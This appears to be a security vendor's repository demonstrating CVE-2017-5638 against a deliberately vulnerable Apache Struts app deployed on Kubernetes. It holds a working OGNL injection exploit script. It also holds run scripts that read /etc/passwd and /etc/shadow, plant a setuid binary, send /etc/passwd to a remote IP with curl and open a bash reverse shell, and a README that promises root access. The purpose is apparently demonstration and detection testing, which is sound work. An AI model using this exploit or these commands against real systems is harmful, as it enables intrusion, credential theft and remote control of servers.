├── 1-deployment.yaml ├── 2-service.yaml ├── README.md ├── apache-struts ├── app │ ├── Dockerfile │ ├── build.sh │ ├── entry-point.sh │ ├── source │ │ ├── main │ │ │ ├── java │ │ │ │ └── com │ │ │ │ │ └── github │ │ │ │ │ └── jrrdev │ │ │ │ │ ├── AppConfiguration.java │ │ │ │ │ ├── Application.java │ │ │ │ │ └── HelloWorldAction.java │ │ │ └── resources │ │ │ │ ├── META-INF │ │ │ │ └── resources │ │ │ │ │ ├── WEB-INF │ │ │ │ │ └── web.xml │ │ │ │ │ └── pages │ │ │ │ │ └── helloworld.jsp │ │ │ │ ├── log4j2.xml │ │ │ │ └── struts.xml │ │ └── pom.xml │ └── visualization.sh └── exploit │ ├── Dockerfile │ ├── build.sh │ └── source │ └── exploit.py ├── build.sh ├── run_exploit.sh └── run_webshell.sh /1-deployment.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: apps/v1 2 | kind: Deployment 3 | metadata: 4 | name: apache-struts 5 | namespace: default 6 | spec: 7 | replicas: 3 8 | selector: 9 | matchLabels: 10 | app: apache-struts 11 | template: 12 | metadata: 13 | labels: 14 | app: apache-struts 15 | spec: 16 | containers: 17 | - name: apache-struts 18 | image: registry.deepfence.net/apache-struts-app:latest 19 | imagePullPolicy: Always 20 | ports: 21 | - name: http 22 | containerPort: 8080 23 | securityContext: 24 | allowPrivilegeEscalation: true 25 | seccompProfile: 26 | type: Unconfined 27 | volumeMounts: 28 | - name: tmp 29 | mountPath: /tmp 30 | imagePullSecrets: 31 | - name: registry.deepfence.net 32 | terminationGracePeriodSeconds: 0 33 | volumes: 34 | - name: tmp 35 | hostPath: 36 | path: /tmp 37 | type: Directory 38 | -------------------------------------------------------------------------------- /2-service.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: v1 2 | kind: Service 3 | metadata: 4 | name: apache-struts 5 | spec: 6 | type: LoadBalancer 7 | externalTrafficPolicy: Local 8 | ports: 9 | - name: http 10 | port: 80 11 | protocol: TCP 12 | targetPort: 8080 13 | selector: 14 | app: apache-struts 15 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Description 2 | This project is derived from the original project found [here](https://github.com/jrrdev/cve-2017-5638) and aims to demonstrate the [CVE-2017-5638](https://www.google.com/search?q=CVE-2017-5638&rlz=1C5CHFA_enUS940US940&oq=CVE-2017-5638&aqs=chrome..69i57.2371j0j1&sourceid=chrome&ie=UTF-8) exploitation found in vulnerable versions of Apache Struts. 3 | 4 | 5 | ### Build 6 | 1. Apache Struts application container image 7 | 8 | ``` 9 | ./build.sh --registry --type app --push 10 | ``` 11 | 12 | 2. Apache Struts exploit container image 13 | 14 | ``` 15 | ./build.sh --registry --type exploit --push 16 | ``` 17 | 18 | ### Run Apache Struts Application (Kubernetes) 19 | 1. In the `apache-struts.yaml` manifest file and update the`image` key to point to the `apache-struts-app` container image created in the previous setp. Update or delete `impagePullSecrets` as necessary. 20 | 21 | 2. Deploy the Apache Struts pods: 22 | 23 | ``` 24 | kubectl apply -f 1-deployment.yaml 25 | ``` 26 | 27 | 3. Deploy the Apache Struts service (external load balancer): 28 | 29 | ``` 30 | kubectl apply -f 2-service.yaml 31 | ``` 32 | 33 | ### Run Apache Struts Exploit (Docker) 34 | 1. To run the standard Apache Struts exploit, modify the `image`, `host`, `src_ip`, and `dst_ip` variables in the `run_exploit.sh` file for your requirements and run the shell script: 35 | 36 | ``` 37 | ./run_exploit.sh 38 | ``` 39 | 40 | 2. To run the reverse web shell Apache Struts exploit, modify the `image`, `host`, `port`, `src_ip`, and `src_port` variables in the `run_webshell.sh` file for your requirements and open the designated `src_port` on the exploit host using `netcat`: 41 | 42 | ``` 43 | nc -lvp 44 | ``` 45 | 46 | On the same exploit host but in a new terminal window, run the shell script: 47 | 48 | ``` 49 | ./run_webshell.sh 50 | ``` 51 | 52 | Once the exploit has completed and the `GET` response has been returned, you should have full shell access to the host, pod, or container as `root` user. 53 | -------------------------------------------------------------------------------- /apache-struts/app/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM maven:3-jdk-8-slim 2 | 3 | # https://github.com/jrrdev/cve-2017-5638 4 | MAINTAINER "Matt Kryshak " 5 | 6 | RUN set -x \ 7 | && apt-get update \ 8 | && apt-get install --no-install-recommends --no-install-suggests -y at netcat strace \ 9 | && apt-get purge --auto-remove -y \ 10 | && rm -rf /etc/apt/sources.list.d/* \ 11 | && rm -rf /var/lib/apt/lists/* 12 | 13 | COPY source/main /usr/src/cve-2017-5638/src/main 14 | COPY source/pom.xml /usr/src/cve-2017-5638/ 15 | 16 | RUN set -x \ 17 | && mkdir -p /cve-2017-5638 \ 18 | && cd /usr/src/cve-2017-5638 \ 19 | && mvn package \ 20 | && cp /usr/src/cve-2017-5638/target/*jar /cve-2017-5638/cve-2017-5638-example.jar \ 21 | && rm -rf /usr/src/cve-2017-5638 22 | 23 | COPY entry-point.sh /entry-point.sh 24 | COPY visualization.sh /visualization.sh 25 | 26 | RUN set -x \ 27 | && chmod +x /entry-point.sh /visualization.sh 28 | 29 | EXPOSE 8080 30 | 31 | ENTRYPOINT ["/entry-point.sh"] 32 | -------------------------------------------------------------------------------- /apache-struts/app/build.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | dockerfile=Dockerfile 4 | registry=("registry.deepfence.net" "122565780891.dkr.ecr.us-west-1.amazonaws.com") 5 | repo=apache-struts-app 6 | tag=latest 7 | 8 | if [ $# -gt 0 ]; then 9 | while [ $# -gt 0 ]; do 10 | case "$1" in 11 | "--help" ) 12 | echo -e "\n Usage: ${0##*/} [optional]\n" 13 | echo -e " Optional:" 14 | echo -e " --push Push image to repository\n" 15 | exit 1 16 | ;; 17 | "--push" ) 18 | push=true 19 | shift; 20 | ;; 21 | * ) 22 | echo -e "\n Invalid argument: $1\n" 23 | exit 1 24 | ;; 25 | esac 26 | done 27 | fi 28 | 29 | for name in ${registry[@]}; do 30 | docker build -f ${dockerfile} --tag ${name}/${repo}:${tag} . 31 | 32 | if [ "${push}" == "true" ]; then 33 | docker push ${name}/${repo}:${tag} 34 | fi 35 | done 36 | 37 | yes | docker image prune 38 | -------------------------------------------------------------------------------- /apache-struts/app/entry-point.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | set -e 4 | service atd start 5 | /visualization.sh & 6 | exec java "$@" -jar /cve-2017-5638/cve-2017-5638-example.jar 7 | -------------------------------------------------------------------------------- /apache-struts/app/source/main/java/com/github/jrrdev/AppConfiguration.java: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/deepfence/apache-struts/d6d936bd9c7d4869925df37894636b4e335a78ab/apache-struts/app/source/main/java/com/github/jrrdev/AppConfiguration.java -------------------------------------------------------------------------------- /apache-struts/app/source/main/java/com/github/jrrdev/Application.java: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/deepfence/apache-struts/d6d936bd9c7d4869925df37894636b4e335a78ab/apache-struts/app/source/main/java/com/github/jrrdev/Application.java -------------------------------------------------------------------------------- /apache-struts/app/source/main/java/com/github/jrrdev/HelloWorldAction.java: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/deepfence/apache-struts/d6d936bd9c7d4869925df37894636b4e335a78ab/apache-struts/app/source/main/java/com/github/jrrdev/HelloWorldAction.java -------------------------------------------------------------------------------- /apache-struts/app/source/main/resources/META-INF/resources/WEB-INF/web.xml: -------------------------------------------------------------------------------- 1 | 4 | 5 | 6 | Struts 2 Web Application 7 | 8 | 9 | struts2 10 | org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter 11 | 12 | 13 | struts2 14 | /* 15 | 16 | 17 | -------------------------------------------------------------------------------- /apache-struts/app/source/main/resources/META-INF/resources/pages/helloworld.jsp: -------------------------------------------------------------------------------- 1 | <%@ taglib prefix="s" uri="/struts-tags" %> 2 | 3 | 4 | 5 |

Vulnerable Struts Apps

6 |
7 | Hello world ! 8 |
9 | 10 | -------------------------------------------------------------------------------- /apache-struts/app/source/main/resources/log4j2.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /apache-struts/app/source/main/resources/struts.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | pages/helloworld.jsp 15 | 16 | 17 | 18 | -------------------------------------------------------------------------------- /apache-struts/app/source/pom.xml: -------------------------------------------------------------------------------- 1 | 3 | 4.0.0 4 | com.github.jrrdev 5 | cve-2017-5638-example 6 | 1.0.0 7 | cve-2017-5638 Example Maven Webapp 8 | https://github.com/jrrdev/cve-2017-5638 9 | 10 | 11 | 12 | The MIT License (MIT) 13 | https://opensource.org/licenses/MIT 14 | repo 15 | 16 | 17 | 18 | 19 | scm:git:https://github.com/jrrdev/cve-2017-5638.git 20 | https://github.com/jrrdev/cve-2017-5638 21 | 22 | 23 | 24 | ISO-8859-1 25 | 1.8 26 | 27 | 28 | 29 | org.springframework.boot 30 | spring-boot-starter-parent 31 | 1.3.5.RELEASE 32 | 33 | 34 | 35 | 36 | 37 | org.springframework.boot 38 | spring-boot-starter-web 39 | 40 | 41 | 42 | 43 | org.apache.struts 44 | struts2-core 45 | 2.5 46 | 47 | 48 | 49 | org.apache.struts 50 | struts2-spring-plugin 51 | 2.5 52 | 53 | 54 | 55 | org.apache.logging.log4j 56 | log4j-core 57 | 58 | 59 | 60 | org.apache.tomcat.embed 61 | tomcat-embed-jasper 62 | provided 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | org.springframework.boot 71 | spring-boot-maven-plugin 72 | 73 | 1.8 74 | 1.8 75 | 76 | 77 | 78 | 79 | 80 | -------------------------------------------------------------------------------- /apache-struts/app/visualization.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | if [ ! -d "/deepfence" ]; then 4 | while true; do 5 | curl -Is https://deepfence-public.s3.amazonaws.com/deepfence_logo_200_55.png > /dev/null 6 | curl -Is https://api.github.com/repos/octocat/hello-world/commits/762941318ee16e59dabbacb1b4049eec22f0d303/status > /dev/null 7 | curl -Is https://api.cloudflare.com/client/v4/zones/cd7d0123e3012345da9420df9514dad0 > /dev/null 8 | curl -Is https://gitlab.com/api > /dev/null 9 | sleep 5 10 | done 11 | else 12 | while true; do 13 | nc -w 2 deepfence-public.s3.amazonaws.com 443 & 14 | nc -w 2 api.github.com 443 & 15 | nc -w 2 api.cloudflare.com 443 & 16 | nc -w 2 gitlab.com 443 & 17 | sleep 5 18 | done 19 | fi 20 | -------------------------------------------------------------------------------- /apache-struts/exploit/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:2.7-alpine 2 | 3 | # https://github.com/jrrdev/cve-2017-5638 4 | MAINTAINER "Matt Kryshak " 5 | 6 | COPY source/exploit.py /usr/local 7 | 8 | ENTRYPOINT ["python", "/usr/local/exploit.py"] 9 | -------------------------------------------------------------------------------- /apache-struts/exploit/build.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | dockerfile=Dockerfile 4 | registry=("registry.deepfence.net") 5 | repo=apache-struts-exploit 6 | tag=latest 7 | 8 | if [ $# -gt 0 ]; then 9 | while [ $# -gt 0 ]; do 10 | case "$1" in 11 | "--help" ) 12 | echo -e "\n Usage: ${0##*/} [optional]\n" 13 | echo -e " Optional:" 14 | echo -e " --push Push image to repository\n" 15 | exit 1 16 | ;; 17 | "--push" ) 18 | push=true 19 | shift; 20 | ;; 21 | * ) 22 | echo -e "\n Invalid argument: $1\n" 23 | exit 1 24 | ;; 25 | esac 26 | done 27 | fi 28 | 29 | for name in ${registry[@]}; do 30 | docker build -f ${dockerfile} --tag ${name}/${repo}:${tag} . 31 | 32 | if [ "${push}" == "true" ]; then 33 | docker push ${name}/${repo}:${tag} 34 | fi 35 | done 36 | 37 | yes | docker image prune 38 | -------------------------------------------------------------------------------- /apache-struts/exploit/source/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | 4 | # From https://github.com/rapid7/metasploit-framework/issues/8064 5 | 6 | import urllib2 7 | import httplib 8 | import ssl 9 | 10 | 11 | def exploit(src, url, cmd): 12 | payload = "%{(#_='multipart/form-data')." 13 | payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)." 14 | payload += "(#_memberAccess?" 15 | payload += "(#_memberAccess=#dm):" 16 | payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])." 17 | payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))." 18 | payload += "(#ognlUtil.getExcludedPackageNames().clear())." 19 | payload += "(#ognlUtil.getExcludedClasses().clear())." 20 | payload += "(#context.setMemberAccess(#dm))))." 21 | payload += "(#cmd='%s')." % cmd 22 | payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))." 23 | payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))." 24 | payload += "(#p=new java.lang.ProcessBuilder(#cmds))." 25 | payload += "(#p.redirectErrorStream(true)).(#process=#p.start())." 26 | payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))." 27 | payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))." 28 | payload += "(#ros.flush())}" 29 | 30 | try: 31 | ctx = ssl.create_default_context() 32 | ctx.check_hostname = False 33 | ctx.verify_mode = ssl.CERT_NONE 34 | 35 | headers = {'Content-Type': payload, 'User-Agent': 'Mozilla/5.0', 'X-Forwarded-For': src} 36 | request = urllib2.Request(url, headers=headers) 37 | 38 | page = urllib2.urlopen(url=request, context=ctx).read() 39 | except httplib.IncompleteRead, e: 40 | page = e.partial 41 | 42 | print(page) 43 | return page 44 | 45 | 46 | if __name__ == '__main__': 47 | import sys 48 | if len(sys.argv) != 4: 49 | print("[*] struts2_S2-045.py ") 50 | else: 51 | print('[*] CVE: 2017-5638 - Apache Struts2 S2-045') 52 | src = sys.argv[1] 53 | url = sys.argv[2] 54 | cmd = sys.argv[3] 55 | print("[*] cmd: %s\n" % cmd) 56 | exploit(src, url, cmd) 57 | -------------------------------------------------------------------------------- /build.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | if [ $# -lt 4 ]; then 4 | echo -e "\n Usage: ${0##*/} [required] [optional]\n" 5 | echo -e " Required:" 6 | echo -e " --registry example: registry.deepfence.net" 7 | echo -e " --type example: app | exploit\n" 8 | echo -e " Optional:" 9 | echo -e " --push Push image to repository" 10 | echo -e " --repo example: apache-struts-app (default)" 11 | echo -e " --tag example: latest (default)\n" 12 | exit 1 13 | fi 14 | 15 | while [ $# -gt 1 ]; do 16 | case "$1" in 17 | "--push" ) 18 | push=true 19 | shift; shift 20 | ;; 21 | "--registry" ) 22 | registry=$2 23 | shift; shift 24 | ;; 25 | "--repo" ) 26 | repo=$2 27 | shift; shift 28 | ;; 29 | "--tag" ) 30 | tag=$2 31 | shift; shift 32 | ;; 33 | "--type" ) 34 | type=$2 35 | shift; shift 36 | ;; 37 | * ) 38 | echo -e "\n Invalid argument: $1\n" 39 | exit 1 40 | ;; 41 | esac 42 | done 43 | 44 | if [ -z "${repo}" ]; then 45 | repo=apache-struts-app 46 | fi 47 | 48 | if [ -z "${tag}" ]; then 49 | tag=latest 50 | fi 51 | 52 | if [ "${type}" != "app" ] && [ "${type}" != "exploit" ]; then 53 | echo -e "\n Invalid paramater: ${type}\n" 54 | exit 1 55 | fi 56 | 57 | docker build -f ./apache-struts/${type}/Dockerfile -t ${registry}/${repo}:${tag} ./apache-struts/${type}/ 58 | 59 | if [ "${push}" == "true" ]; then 60 | docker push ${name}/${repo}:${tag} 61 | fi 62 | 63 | exit 0 64 | -------------------------------------------------------------------------------- /run_exploit.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | image=registry.deepfence.net/apache-struts-exploit:latest 4 | host=apache-struts.deepfence.net 5 | src_ip=138.68.247.224 6 | dst_ip=103.7.155.10 7 | 8 | docker run --rm --name=apache-struts-exploit --net=host ${image} ${src_ip} http://${host}/helloworld "echo \"\nChecking User ID\n----------------------------------------\"; id; echo \"\n\nChecking Files as Super User\n----------------------------------------\"; su -c /bin/ls root; echo \"\n\nCreating New Payload pwnd.bin\n----------------------------------------\"; touch /tmp/pwnd.bin; echo \"strace ls -l; sleep 20& kill -11 %1; cat /etc/passwd /etc/shadow\" > /tmp/pwnd.bin; cat /tmp/pwnd.bin; chmod +x /tmp/pwnd.bin; chmod u+s /tmp/pwnd.bin; echo \"\n\nExecuting Remote Code\n----------------------------------------\"; /tmp/pwnd.bin; sleep 5; echo \"\n\nExfiltrating Data to Remote C&C Server\n----------------------------------------\"; curl -s http://${dst_ip} -d @/etc/passwd" 9 | -------------------------------------------------------------------------------- /run_webshell.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | image=registry.deepfence.net/apache-struts-exploit:latest 4 | host=apache-struts.deepfence.net 5 | port=80 6 | src_ip=138.68.247.224 7 | src_port=8000 8 | 9 | docker run --rm --name=apache-struts-exploit --net=host ${image} ${src_ip} http://${host}:${port}/helloworld "touch /tmp/shell.bin; echo \"bash -i >& /dev/tcp/${src_ip}/${src_port} 0>&1 &\" > /tmp/shell.bin; chmod +x /tmp/shell.bin; /tmp/shell.bin | at now" 10 | --------------------------------------------------------------------------------